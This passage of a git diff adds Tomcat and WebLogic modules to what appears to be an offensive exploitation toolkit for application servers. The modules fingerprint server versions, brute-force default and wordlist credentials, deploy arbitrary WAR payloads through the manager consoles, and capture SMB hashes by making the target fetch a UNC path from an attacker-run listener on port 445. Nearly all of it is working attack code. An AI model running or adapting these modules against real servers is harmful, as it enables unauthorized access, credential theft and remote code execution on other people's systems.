%d)" % (url, + response.status_code), LOG.DEBUG) diff --git a/src/platform/tomcat/auxiliary/smb_hashes.py b/src/platform/tomcat/auxiliary/smb_hashes.py new file mode 100644 index 0000000..2c3794c --- /dev/null +++ b/src/platform/tomcat/auxiliary/smb_hashes.py @@ -0,0 +1,165 @@ +from src.platform.tomcat.authenticate import checkAuth +from src.platform.tomcat.interfaces import TINTERFACES +from src.lib.cifstrap import Handler +from requests.utils import dict_from_cookiejar +from auxiliary import Auxiliary +from threading import Thread +from re import findall +from collections import OrderedDict +import socket +import utility + + +class Auxiliary: + + def __init__(self): + self.name = 'Obtain SMB hash' + self.versions = ['5.5', '6.0', '7.0', '8.0'] + self.show = True + self.flag = 'tc-smb' + self._Listen = False + + def check(self, fingerprint): + if fingerprint.title in [TINTERFACES.MAN]: + return True + + return False + + def run(self, fingerengine, fingerprint): + """ Same concept as the JBoss module, except we actually invoke the + deploy function. + """ + + if getuid() > 0: + utility.Msg("Root privs required for this module.", LOG.ERROR) + return + + utility.Msg("Setting up SMB listener...") + + self._Listen = True + thread = Thread(target=self.smb_listener) + thread.start() + + utility.Msg("Invoking UNC deployer...") + + base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) + + if fingerprint.version in ["5.5"]: + uri = '/manager/html/deploy?deployPath=/asdf&deployConfig=&'\ + 'deployWar=file://{0}/asdf.war'.format(utility.local_address()) + elif fingerprint.version in ["6.0", "7.0", "8.0"]: + return self.runLatter(fingerengine, fingerprint, thread) + else: + utility.Msg("Unsupported Tomcat (v%s)" % fingerprint.version, LOG.ERROR) + return + + url = base + uri + + response = utility.requests_get(url) + if response.status_code == 401: + + utility.Msg("Host %s:%s requires auth, checking..." % + (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) + cookies = checkAuth(fingerengine.options.ip, fingerprint.port, + fingerprint.title, fingerprint.version) + + if cookies: + response = utility.requests_get(url, cookies=cookies[0], + auth=cookies[1]) + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), LOG.ERROR) + return + + while thread.is_alive(): + # spin... + pass + + if response.status_code != 200: + + utility.Msg("Unexpected response: HTTP %d" % response.status_code) + + self._Listen = False + + def smb_listener(self): + """ Accept a connection and pass it off for parsing to cifstrap + """ + + try: + handler = None + sock = socket.socket() + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind(('', 445)) + sock.listen(1) + + while self._Listen: + (con, addr) = sock.accept() + handler = Handler(con, addr) + handler.start() + + while handler.is_alive(): + # spin... + pass + + if handler.data: + utility.Msg("%s" % handler.data, LOG.SUCCESS) + + break + + except Exception, e: + utility.Msg("Socket error: %s" % e, LOG.ERROR) + finally: + sock.close() + + def runLatter(self, fingerengine, fingerprint, smb_thread): + """ + """ + + base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) + uri = "/manager/html/deploy" + data = OrderedDict([ + ("deployPath", "/asdf"), + ("deployConfig", ""), + ("deployWar", "file://{0}/asdf.war".format(utility.local_address())), + ]) + + cookies = None + nonce = None + + # probe for auth + response = utility.requests_get(base + '/manager/html') + if response.status_code == 401: + + utility.Msg("Host %s:%s requires auth, checking.." % + (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) + cookies = checkAuth(fingerengine.options.ip, fingerprint.port, + fingerprint.title, fingerprint.version) + + if cookies: + response = utility.requests_get(base + '/manager/html', + cookies=cookies[0], + auth=cookies[1]) + + # get nonce + nonce = findall("CSRF_NONCE=(.*?)\"", response.content) + if len(nonce) > 0: + nonce = nonce[0] + + # set new jsessionid + cookies = (dict_from_cookiejar(response.cookies), cookies[1]) + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) + return + + if response.status_code == 200: + + # all setup, now invoke + response = utility.requests_post(base + uri + \ + '?org.apache.catalina.filters.CSRF_NONCE=%s' % nonce, + data = data, cookies=cookies[0], + auth=cookies[1]) + + while smb_thread.is_alive(): + # spin... + pass diff --git a/src/platform/tomcat/deployers/__init__.py b/src/platform/tomcat/deployers/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/tomcat/deployers/manage_deploy.py b/src/platform/tomcat/deployers/manage_deploy.py new file mode 100644 index 0000000..06b339c --- /dev/null +++ b/src/platform/tomcat/deployers/manage_deploy.py @@ -0,0 +1,66 @@ +from src.platform.tomcat.interfaces import TINTERFACES +from src.platform.tomcat.authenticate import checkAuth +from src.module.deploy_utils import parse_war_path +from requests import exceptions +from log import LOG +import utility + +versions = ["4.0", "4.1", "5.5", "6.0", "7.0", "8.0"] +title = TINTERFACES.MAN +def deploy(fingerengine, fingerprint): + """ Through Tomcat versions, remotely deploying hasnt changed much. + Newer versions have a new URL and some quarks, but it's otherwise very + stable and quite simple. Tomcat cannot be asked to pull a file, and thus + we just execute a PUT with the payload. Simple and elegant. + """ + + war_file = fingerengine.options.deploy + war_path = parse_war_path(war_file) + version_path = "manager/deploy" + + utility.Msg("Preparing to deploy {0}...".format(war_file)) + + if fingerprint.version in ["7.0", "8.0"]: + # starting with version 7.0, the remote deployment URL has changed + version_path = "manager/text/deploy" + + url = "http://{0}:{1}/{2}?path=/{3}".format(fingerengine.options.ip, + fingerprint.port, + version_path, + war_path) + + try: + files = open(war_file, 'rb') + except Exception, e: + utility.Msg(e, LOG.ERROR) + return + + response = utility.requests_put(url, data=files) + if response.status_code == 401 or \ + (response.status_code == 405 and fingerprint.version == "8.0"): + # Tomcat 8.0 405's if you PUT without auth + utility.Msg("Host %s:%s requires auth, checking..." % + (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) + cookies = checkAuth(fingerengine.options.ip, fingerprint.port, + fingerprint.title, fingerprint.version) + + if cookies: + try: + response = utility.requests_put(url, + data=files, + cookies=cookies[0], + auth=cookies[1]) + except exceptions.Timeout: + response.status_code = 200 + + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), LOG.ERROR) + return + + if response.status_code == 200: + utility.Msg("Deployed {0} to /{1}".format(war_file, war_path), LOG.SUCCESS) + elif response.status_code == 403: + utility.Msg("This account does not have permissions to remotely deploy.", LOG.ERROR) + else: + utility.Msg("Failed to deploy (HTTP %s)" % response.status_code, LOG.ERROR) diff --git a/src/platform/tomcat/fingerprints/Tomcat33.py b/src/platform/tomcat/fingerprints/Tomcat33.py new file mode 100644 index 0000000..dd7fe25 --- /dev/null +++ b/src/platform/tomcat/fingerprints/Tomcat33.py @@ -0,0 +1,9 @@ +from src.platform.tomcat.interfaces import AppInterface + + +class FPrint(AppInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "3.3" + self.uri = "/doc/readme" diff --git a/src/platform/tomcat/fingerprints/Tomcat33Admin.py b/src/platform/tomcat/fingerprints/Tomcat33Admin.py new file mode 100644 index 0000000..b204964 --- /dev/null +++ b/src/platform/tomcat/fingerprints/Tomcat33Admin.py @@ -0,0 +1,42 @@ +from src.platform.tomcat.authenticate import checkAuth +from src.platform.tomcat.interfaces import TINTERFACES +from requests import exceptions +from cprint import FingerPrint +from re import findall +from log import LOG +import utility + +class FPrint(FingerPrint): + + def __init__(self): + self.platform = "tomcat" + self.version = "3.3" + self.title = TINTERFACES.ADM + self.uri = "/admin/index.html" + self.port = 8080 + self.hash = None + + def check(self, ip, port=None): + """ + """ + + try: + rport = self.port if port is None else port + url = "http://{0}:{1}{2}".format(ip, rport, self.uri) + + response = utility.requests_get(url) + found = findall("Tomcat Administration Tools", response.content) + + if len(found) > 0: + return True + + except exceptions.Timeout: + utility.Msg("{0} timeout to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + except exceptions.ConnectionError: + utility.Msg("{0} connection error to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + + return False diff --git a/src/platform/tomcat/fingerprints/Tomcat4.py b/src/platform/tomcat/fingerprints/Tomcat4.py new file mode 100644 index 0000000..1c2028e --- /dev/null +++ b/src/platform/tomcat/fingerprints/Tomcat4.py @@ -0,0 +1,41 @@ +from src.platform.tomcat.authenticate import checkAuth +from src.platform.tomcat.interfaces import TINTERFACES +from requests import exceptions +from cprint import FingerPrint +from re import findall +from log import LOG +import utility + +class FPrint(FingerPrint): + + def __init__(self): + self.platform = "tomcat" + self.version = "4.0" + self.title = TINTERFACES.APP + self.uri = "/index.jsp" + self.port = 8080 + self.hash = None + + def check(self, ip, port=None): + """ + """ + + try: + rport = self.port if port is None else port + url = "http://{0}:{1}{2}".format(ip, rport, self.uri) + + response = utility.requests_get(url) + found = findall("Apache Tomcat/(.*?)\n", response.content) + if len(found) > 0 and self.version in found[0]: + return True + + except exceptions.Timeout: + utility.Msg("{0} timeout to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + except exceptions.ConnectionError: + utility.Msg("{0} connection error to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + + return False diff --git a/src/platform/tomcat/fingerprints/Tomcat41.py b/src/platform/tomcat/fingerprints/Tomcat41.py new file mode 100644 index 0000000..9048077 --- /dev/null +++ b/src/platform/tomcat/fingerprints/Tomcat41.py @@ -0,0 +1,41 @@ +from src.platform.tomcat.authenticate import checkAuth +from src.platform.tomcat.interfaces import TINTERFACES +from requests import exceptions +from cprint import FingerPrint +from re import findall +from log import LOG +import utility + +class FPrint(FingerPrint): + + def __init__(self): + self.platform = "tomcat" + self.version = "4.1" + self.title = TINTERFACES.APP + self.uri = "/index.jsp" + self.port = 8080 + self.hash = None + + def check(self, ip, port=None): + """ + """ + + try: + rport = self.port if port is None else port + url = "http://{0}:{1}{2}".format(ip, rport, self.uri) + + response = utility.requests_get(url) + found = findall("Apache Tomcat/(.*?)\n", response.content) + if len(found) > 0 and self.version in found[0]: + return True + + except exceptions.Timeout: + utility.Msg("{0} timeout to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + except exceptions.ConnectionError: + utility.Msg("{0} connection error to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + + return False diff --git a/src/platform/tomcat/fingerprints/Tomcat41M.py b/src/platform/tomcat/fingerprints/Tomcat41M.py new file mode 100644 index 0000000..5081d2e --- /dev/null +++ b/src/platform/tomcat/fingerprints/Tomcat41M.py @@ -0,0 +1,7 @@ +from src.platform.tomcat.interfaces import ManagerInterface + +class FPrint(ManagerInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "4.1" diff --git a/src/platform/tomcat/fingerprints/Tomcat4M.py b/src/platform/tomcat/fingerprints/Tomcat4M.py new file mode 100644 index 0000000..945f3aa --- /dev/null +++ b/src/platform/tomcat/fingerprints/Tomcat4M.py @@ -0,0 +1,8 @@ +from src.platform.tomcat.interfaces import ManagerInterface + + +class FPrint(ManagerInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "4.0" diff --git a/src/platform/tomcat/fingerprints/Tomcat55.py b/src/platform/tomcat/fingerprints/Tomcat55.py new file mode 100644 index 0000000..ccdc2a2 --- /dev/null +++ b/src/platform/tomcat/fingerprints/Tomcat55.py @@ -0,0 +1,8 @@ +from src.platform.tomcat.interfaces import AppInterface + + +class FPrint(AppInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "5.5" diff --git a/src/platform/tomcat/fingerprints/Tomcat55M.py b/src/platform/tomcat/fingerprints/Tomcat55M.py new file mode 100644 index 0000000..9553003 --- /dev/null +++ b/src/platform/tomcat/fingerprints/Tomcat55M.py @@ -0,0 +1,7 @@ +from src.platform.tomcat.interfaces import ManagerInterface + +class FPrint(ManagerInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "5.5" diff --git a/src/platform/tomcat/fingerprints/Tomcat6.py b/src/platform/tomcat/fingerprints/Tomcat6.py new file mode 100644 index 0000000..8014f37 --- /dev/null +++ b/src/platform/tomcat/fingerprints/Tomcat6.py @@ -0,0 +1,8 @@ +from src.platform.tomcat.interfaces import AppInterface + + +class FPrint(AppInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "6.0" diff --git a/src/platform/tomcat/fingerprints/Tomcat6M.py b/src/platform/tomcat/fingerprints/Tomcat6M.py new file mode 100644 index 0000000..8796dfb --- /dev/null +++ b/src/platform/tomcat/fingerprints/Tomcat6M.py @@ -0,0 +1,8 @@ +from src.platform.tomcat.interfaces import ManagerInterface + + +class FPrint(ManagerInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "6.0" diff --git a/src/platform/tomcat/fingerprints/Tomcat7.py b/src/platform/tomcat/fingerprints/Tomcat7.py new file mode 100644 index 0000000..1d8aa59 --- /dev/null +++ b/src/platform/tomcat/fingerprints/Tomcat7.py @@ -0,0 +1,8 @@ +from src.platform.tomcat.interfaces import AppInterface + + +class FPrint(AppInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "7.0" diff --git a/src/platform/tomcat/fingerprints/Tomcat7M.py b/src/platform/tomcat/fingerprints/Tomcat7M.py new file mode 100644 index 0000000..531ee41 --- /dev/null +++ b/src/platform/tomcat/fingerprints/Tomcat7M.py @@ -0,0 +1,8 @@ +from src.platform.tomcat.interfaces import ManagerInterface + + +class FPrint(ManagerInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "7.0" diff --git a/src/platform/tomcat/fingerprints/Tomcat8.py b/src/platform/tomcat/fingerprints/Tomcat8.py new file mode 100644 index 0000000..73f7cd0 --- /dev/null +++ b/src/platform/tomcat/fingerprints/Tomcat8.py @@ -0,0 +1,8 @@ +from src.platform.tomcat.interfaces import AppInterface + + +class FPrint(AppInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "8.0" diff --git a/src/platform/tomcat/fingerprints/Tomcat8M.py b/src/platform/tomcat/fingerprints/Tomcat8M.py new file mode 100644 index 0000000..01a569e --- /dev/null +++ b/src/platform/tomcat/fingerprints/Tomcat8M.py @@ -0,0 +1,8 @@ +from src.platform.tomcat.interfaces import ManagerInterface + + +class FPrint(ManagerInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "8.0" diff --git a/src/platform/tomcat/fingerprints/__init__.py b/src/platform/tomcat/fingerprints/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/tomcat/interfaces.py b/src/platform/tomcat/interfaces.py new file mode 100644 index 0000000..b688391 --- /dev/null +++ b/src/platform/tomcat/interfaces.py @@ -0,0 +1,131 @@ +from requests import exceptions +from cprint import FingerPrint +from re import findall +from log import LOG +import authenticate +import random +import string +import utility + + +class TINTERFACES: + APP = "Tomcat" + MAN = "Tomcat Manager" + ADM = "Tomcat Admin" + +class ManagerInterface(FingerPrint): + """ This class defines the default management fingerprint for Tomcat. + The version number is stripped out of the index page. + """ + + def __init__(self): + self.platform = "tomcat" + self.version = None + self.title = TINTERFACES.MAN + self.uri = "/manager/html" + self.port = 8080 + self.hash = None + + def check(self, ip, port = None): + """ + """ + + try: + rport = self.port if port is None else port + url = "http://{0}:{1}{2}".format(ip, rport, self.uri) + + response = utility.requests_get(url) + if response.status_code == 401: + utility.Msg("Host %s:%s requires auth for manager, checking.." + % (ip, rport), LOG.DEBUG) + + cookies = authenticate.checkAuth(ip, rport, self.title, self.version) + if cookies: + response = utility.requests_get(url, cookies=cookies[0], + auth=cookies[1]) + else: + utility.Msg("Could not get auth for %s:%s" % (ip, rport), + LOG.ERROR) + + if response.status_code == 200: + found = findall("Apache Tomcat/(.*)<", response.content) + if len(found) > 0 and self.version in found[0]: + return True + + except exceptions.Timeout: + utility.Msg("{0} timeout to {1}:{2}".format(self.platform, + ip, rport), LOG.DEBUG) + except exceptions.ConnectionError: + utility.Msg("{0} connection error to {1}:{2}".format(self.platform, + ip, rport), LOG.DEBUG) + + return False + +class AppInterface(FingerPrint): + """ AppInterface defines the default app fingerprint for Tomcat. This + pulls the version number from the release notes. + """ + + def __init__(self): + self.platform = "tomcat" + self.version = None + self.title = TINTERFACES.APP + self.uri = "/RELEASE-NOTES.txt" + self.port = 8080 + self.hash = None + + def check(self, ip, port = None): + """ + """ + + try: + rport = self.port if port is None else port + url = "http://{0}:{1}{2}".format(ip, rport, self.uri) + + response = utility.requests_get(url) + found = findall("Apache Tomcat Version (.*?)\n", response.content) + + if len(found) > 0 and self.version in found[0]: + return True + else: + return self.check_error(ip, rport) + + except exceptions.Timeout: + utility.Msg("{0} timeout to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + except exceptions.ConnectionError: + utility.Msg("{0} connection error to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + + return False + + def check_error(self, ip, port): + """ + """ + + try: + fpath = ''.join(random.choice(string.ascii_lowercase) for x in range(4)) + url = "http://{0}:{1}/{2}".format(ip, port, fpath) + + response = utility.requests_get(url) + if response.status_code == 404: + + data = findall("

(.*?)

", response.content) + if len(data) > 0 and self.version in data[0]: + return True + + else: + utility.Msg("/%s returned unexpected HTTP code (%d)" %\ + (fpath, response.status_code), LOG.DEBUG) + + except exceptions.Timeout: + utility.Msg("{0} timeout to {1}:{2}".format(self.platform, + ip, port), LOG.DEBUG) + except exceptions.ConnectionError: + utility.Msg("{0} connection error to {1}:{2}".format(self.platform, + ip, port), LOG.DEBUG) + + return False + diff --git a/src/platform/weblogic/__init__.py b/src/platform/weblogic/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/weblogic/authenticate.py b/src/platform/weblogic/authenticate.py new file mode 100644 index 0000000..6ffb0d6 --- /dev/null +++ b/src/platform/weblogic/authenticate.py @@ -0,0 +1,148 @@ +from src.platform.weblogic.interfaces import WINTERFACES +from subprocess import check_output, CalledProcessError +from requests.utils import dict_from_cookiejar +from sys import stdout +from log import LOG +import utility +import state + + +default_credentials = [('weblogic', 'weblogic'), + ('weblogic', 'weblogic1') + ] + +def _authCookie(usr, pswd, ip, fingerprint): + """ Authenticate to j_security_check and return the cookie + """ + + try: + base = "http://{0}:{1}".format(ip, fingerprint.port) + uri = "/console/j_security_check" + + data = { "j_username" : usr, + "j_password" : pswd, + "j_character_encoding" : "UTF-8" + } + + response = utility.requests_post(base + uri, data=data) + if len(response.history) > 1: + + cookies = dict_from_cookiejar(response.history[0].cookies) + if not cookies: + return False + else: + utility.Msg("Successfully authenticated with %s:%s" % + (usr, pswd), LOG.DEBUG) + return (cookies, None) + + except Exception, e: + utility.Msg("Failed to authenticate: %s" % e) + + return False + + +def _auth(usr, pswd, ip, fingerprint): + """ Runs our checkauth.sh script in order to determine whether or not + the given credentials are valid. This simply runs the VERSION command + using weblogic.Admin. + + Return is True for success or False for fail. + """ + + result = False + + try: + args = ["./checkauth.sh", ip, str(fingerprint.port), usr, pswd] + if fingerprint.title is WINTERFACES.WLS: + args.append("ssl") + + res = check_output(args, cwd="./src/lib/weblogic/checkauth") + if type(res) is str and "WebLogic" in res: + result = True + + except CalledProcessError, e: + if "BAD_CERTIFICATE" in e.output: + utility.Msg("BAD_CERTIFICATE error", LOG.DEBUG) + result = False + except Exception, e: + utility.Msg(e, LOG.DEBUG) + result = False + + return result + + +def checkAuth(ip, fingerprint, returnCookie = False): + """ Default behavior is to simply return True/False based on + whether or not authentication with the credentials was successful. + If returnCookie is set to true, we return the required auth cookie. + + Returns a tuple of (usr, pswd) in the event of a success, otherwise + (None, None) is returned. + """ + + rauth = _auth + if returnCookie: + rauth = _authCookie + + # check with given auth + if state.usr_auth: + (usr, pswd) = state.usr_auth.split(':') + auth = rauth(usr, pswd, ip, fingerprint) + if auth: + return auth if returnCookie else (usr, pswd) + + # else try default credentials + for (usr, pswd) in default_credentials: + + auth = rauth(usr, pswd, ip, fingerprint) + if auth: + return auth if returnCookie else (usr, pswd) + + # if we're still here, lets check for a wordlist + if state.bf_wordlist and not state.hasbf: + + # + # by default, certain WebLogic servers have a lockout of 5 attempts + # before a 30 minute lock. Lets confirm the user knows this. + # + tmp = utility.capture_input("WebLogic has a lockout after 5 attempts. Continue? [Y/n]") + if 'n' in tmp: return (None, None) + + state.hasbf = True + wordlist = [] + + try: + with open(state.bf_wordlist, 'r') as f: + wordlist = [x.decode('ascii', "ignore").rstrip() for x in f.readlines()] + except Exception, e: + utility.Msg(e, LOG.DEBUG) + return (None, None) + + utility.Msg('Brute forcing %s account with %d passwords...' % + (state.bf_user, len(wordlist)), LOG.DEBUG) + + try: + for (idx, word) in enumerate(wordlist): + stdout.flush() + stdout.write("\r\033[32m [%s] Brute forcing password for %s [%d/%d]\033[0m" \ + % (utility.timestamp(), state.bf_user, + idx+1, len(wordlist))) + + auth = rauth(state.bf_user, word, ip, fingerprint) + if auth: + print '' + + # insert creds into default cred list + if not (state.bf_user, word) in default_credentials: + default_credentials.insert(0, (state.bf_user, word)) + + utility.Msg("Successful login %s:%s" % + (state.bf_user, word), LOG.SUCCESS) + return auth if returnCookie else (state.bf_user, word) + + print '' + + except KeyboardInterrupt: + pass + + return (None, None) diff --git a/src/platform/weblogic/auxiliary/__init__.py b/src/platform/weblogic/auxiliary/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/weblogic/auxiliary/info_dump.py b/src/platform/weblogic/auxiliary/info_dump.py new file mode 100644 index 0000000..27e7a0d --- /dev/null +++ b/src/platform/weblogic/auxiliary/info_dump.py @@ -0,0 +1,70 @@ +from src.platform.weblogic.authenticate import checkAuth +from src.platform.weblogic.interfaces import WINTERFACES +from auxiliary import Auxiliary +from subprocess import check_output +from log import LOG +from copy import copy +import utility + + +class Auxiliary: + """ This module uses weblogic.Admin to query a list of MBeans for + specific sets of data. We currently pull all properties in the MBean as + it is much much quicker, then parse up the list based on ranges. This will + hopefully be made a bit neater once I figure out how to pull specific + MBean properties. Right now this should dump all relevant host and JVM + information on a remote WebLogic server + """ + + def __init__(self): + self.name = 'Gather WebLogic info' + self.versions = ['Any'] + self.show = True + self.flag = 'wl-info' + + def check(self, fingerprint): + return True + + def run(self, fingerengine, fingerprint): + + # MBean types; tuples of (type, (start,end)) where start/end are + # list values to start/stop parsing at. Temporary hack until I + # can figure out if i can pull multiple properties in a single + # request + mbeans = [("JVMRuntime", (2,15)), ("ServerRuntime", (2,18))] + + (usr, pswd) = checkAuth(fingerengine.options.ip, fingerprint) + if not usr or not pswd: + utility.Msg("This module requires valid credentials.", LOG.ERROR) + return + + utility.Msg("Attempting to retrieve WebLogic info...") + + try: + + args = ["./gettype.sh", fingerengine.options.ip, + str(fingerprint.port), usr, pswd] + + for mbean in mbeans: + + targs = copy(args) + targs.append(mbean[0]) + + if fingerprint.title is WINTERFACES.WLS: + targs.append("ssl") + + res = check_output(targs, cwd="./src/lib/weblogic/getinfo") + + if "" in res: + # get around some buggy output in WL with SSL + res = '\n'.join(res.split('\n')[1:]) + + if type(res) is str and len(res) > 1: + for entry in res.split('\n')[mbean[1][0]:mbean[1][1]]: + utility.Msg(entry) + else: + utility.Msg("Error fetching info (%s)" % jvmr, LOG.ERROR) + utility.Msg(res.output, LOG.DEBUG) + + except Exception, e: + utility.Msg(e, LOG.DEBUG) diff --git a/src/platform/weblogic/auxiliary/list_wars.py b/src/platform/weblogic/auxiliary/list_wars.py new file mode 100644 index 0000000..b42cb6a --- /dev/null +++ b/src/platform/weblogic/auxiliary/list_wars.py @@ -0,0 +1,53 @@ +from src.platform.weblogic.interfaces import WINTERFACES +from src.platform.weblogic.authenticate import checkAuth +from auxiliary import Auxiliary +from log import LOG +from subprocess import check_output +import utility + + +class Auxiliary: + """ Obtain a list of the deployed applications + """ + + def __init__(self): + self.name = 'List deployed apps' + self.versions = ['Any'] + self.show = True + self.flag = 'wl-list' + + def check(self, fingerprint): + return True + + def run(self, fingerengine, fingerprint): + + (usr, pswd) = checkAuth(fingerengine.options.ip, fingerprint) + if not usr or not pswd: + utility.Msg("This module requires valid credentials.", LOG.ERROR) + return + + utility.Msg("Obtaining deployed applications...") + + try: + args = ["./list_apps.sh", fingerengine.options.ip, + str(fingerprint.port), usr, pswd] + if fingerprint.title is WINTERFACES.WLS: + args.append('ssl') + + res = check_output(args, cwd='./src/lib/weblogic/list_apps') + if type(res) is str: + if "There is no application to list" in res: + utility.Msg("No applications found deployed.") + else: + output = res.split('\n')[1:-2] + for app in output: + if "" in app: + continue + + utility.Msg("App found: %s" % app.lstrip()) + else: + utility.Msg("Error fetching applications", LOG.ERROR) + utility.Msg(res.output, LOG.DEBUG) + + except Exception, e: + utility.Msg(e, LOG.DEBUG) diff --git a/src/platform/weblogic/auxiliary/smb_hashes.py b/src/platform/weblogic/auxiliary/smb_hashes.py new file mode 100644 index 0000000..eb2d967 --- /dev/null +++ b/src/platform/weblogic/auxiliary/smb_hashes.py @@ -0,0 +1,117 @@ +from src.platform.weblogic.authenticate import checkAuth +from src.platform.weblogic.interfaces import WINTERFACES +from src.lib.cifstrap import Handler +from auxiliary import Auxiliary +from threading import Thread +from log import LOG +from re import findall +import socket +import utility + + +class Auxiliary: + + def __init__(self): + self.name = 'Obtain SMB hash' + self.versions = ['Any'] + self.show = True + self.flag = 'wl-smb' + self._Listen = False + + def check(self, fingerprint): + if fingerprint.title in [WINTERFACES.WLA]: + return True + return False + + def run(self, fingerengine, fingerprint): + """ Same as JBoss/Tomcat + """ + + if getuid() > 0: + utility.Msg("Root privs required for this module.", LOG.ERROR) + return + + base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) + uri = '/console/console.portal?AppApplicationInstallPortlet_actionOverride'\ + '=/com/bea/console/actions/app/install/appSelected' + data = { "AppApplicationInstallPortletselectedAppPath" : + "\\\\{0}\\fdas.war".format(utility.local_address()), + "AppApplicationInstallPortletfrsc" : None + } + + utility.Msg("Host %s:%s requires auth, checking.." % + (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) + cookies = checkAuth(fingerengine.options.ip, fingerprint, True) + + if cookies[0]: + + utility.Msg("Setting up SMB listener...") + self._Listen = True + thread = Thread(target=self.smb_listener) + thread.start() + + # fetch our CSRF + data['AppApplicationInstallPortletfrsc'] = self.fetchCSRF(base, cookies[0]) + + utility.Msg("Invoking UNC loader...") + + try: + response = utility.requests_post(base+uri, data=data, cookies=cookies[0], + timeout=1.0) + except: + # we dont care about the response here + pass + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), LOG.ERROR) + return + + while thread.is_alive(): + # spin + pass + + self._Listen = False + + def fetchCSRF(self, base, cookie): + """ Our install request requires a CSRF token + """ + + uri = '/console/console.portal?_nfpb=true&_pageLabel=AppApplicationInstallPage' + + response = utility.requests_get(base+uri, cookies=cookie) + if response.status_code == 200: + + data = findall('AppApplicationInstallPortletfrsc" value="(.*?)"', + response.content) + if len(data) > 0: + return data[0] + + def smb_listener(self): + """ Setup the SMB listener + """ + + try: + handler = None + sock = socket.socket() + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind(('', 445)) + sock.listen(1) + + while self._Listen: + (con, addr) = sock.accept() + handler = Handler(con, addr) + handler.start() + + while handler.is_alive() and self._Listen: + # spin... + pass + + if handler.data: + utility.Msg("%s" % handler.data, LOG.SUCCESS) + + break + + except Exception, e: + utility.Msg("Socket error: %s" % e, LOG.ERROR) + finally: + sock.close() diff --git a/src/platform/weblogic/deployers/__init__.py b/src/platform/weblogic/deployers/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/weblogic/deployers/web_deploy.py b/src/platform/weblogic/deployers/web_deploy.py new file mode 100644 index 0000000..c0f57ee --- /dev/null +++ b/src/platform/weblogic/deployers/web_deploy.py @@ -0,0 +1,36 @@ +from src.platform.weblogic.interfaces import WINTERFACES +from src.platform.weblogic.authenticate import checkAuth +from src.module.deploy_utils import wlweb_deploy +from os.path import abspath +from log import LOG +import utility + +versions = ["10", "11", "12"] +title = WINTERFACES.WLA +def deploy(fingerengine, fingerprint): + """ Standard deployer over T3 protocol. The listed versions above + are the only ones that have been tested, but this likely works back to + early versions of 10.x, and perhaps even BEA days (8.x/9.x) + """ + + (usr, pswd) = checkAuth(fingerengine.options.ip, fingerprint) + war_file = abspath(fingerengine.options.deploy) + + if not usr or not pswd: + utility.Msg("WebLogic deployer requires valid credentials.", LOG.ERROR) + return + + utility.Msg("Preparing to deploy {0}...".format(war_file)) + + response = wlweb_deploy(fingerengine.options.ip, fingerprint, war_file, + usr, pswd) + + if type(response) is str and "deploy completed on Server" in response: + utility.Msg("{0} deployed to {1}".format(war_file, + fingerengine.options.ip), LOG.SUCCESS) + elif "is already being used" in response.output: + utility.Msg("{0} appears to already be deployed.".format(war_file), + LOG.ERROR) + else: + utility.Msg("Error deploying to server.", LOG.ERROR) + utility.Msg(response.output, LOG.DEBUG) diff --git a/src/platform/weblogic/deployers/webs_deploy.py b/src/platform/weblogic/deployers/webs_deploy.py new file mode 100644 index 0000000..b8c955d --- /dev/null +++ b/src/platform/weblogic/deployers/webs_deploy.py @@ -0,0 +1,8 @@ +from src.platform.weblogic.interfaces import WINTERFACES +import src.platform.weblogic.deployers.web_deploy as web_deploy + + +versions = ["10", "11", "12"] +title = WINTERFACES.WLS +def deploy(fingerengine, fingerprint): + return web_deploy.deploy(fingerengine, fingerprint) diff --git a/src/platform/weblogic/fingerprints/WL10.py b/src/platform/weblogic/fingerprints/WL10.py new file mode 100644 index 0000000..ade652b --- /dev/null +++ b/src/platform/weblogic/fingerprints/WL10.py @@ -0,0 +1,7 @@ +from src.platform.weblogic.interfaces import WLConsole + +class FPrint(WLConsole): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "10" diff --git a/src/platform/weblogic/fingerprints/WL10s.py b/src/platform/weblogic/fingerprints/WL10s.py new file mode 100644 index 0000000..391f893 --- /dev/null +++ b/src/platform/weblogic/fingerprints/WL10s.py @@ -0,0 +1,15 @@ +from src.platform.weblogic.interfaces import WINTERFACES, WLConsole + + +class FPrint(WLConsole): + """ 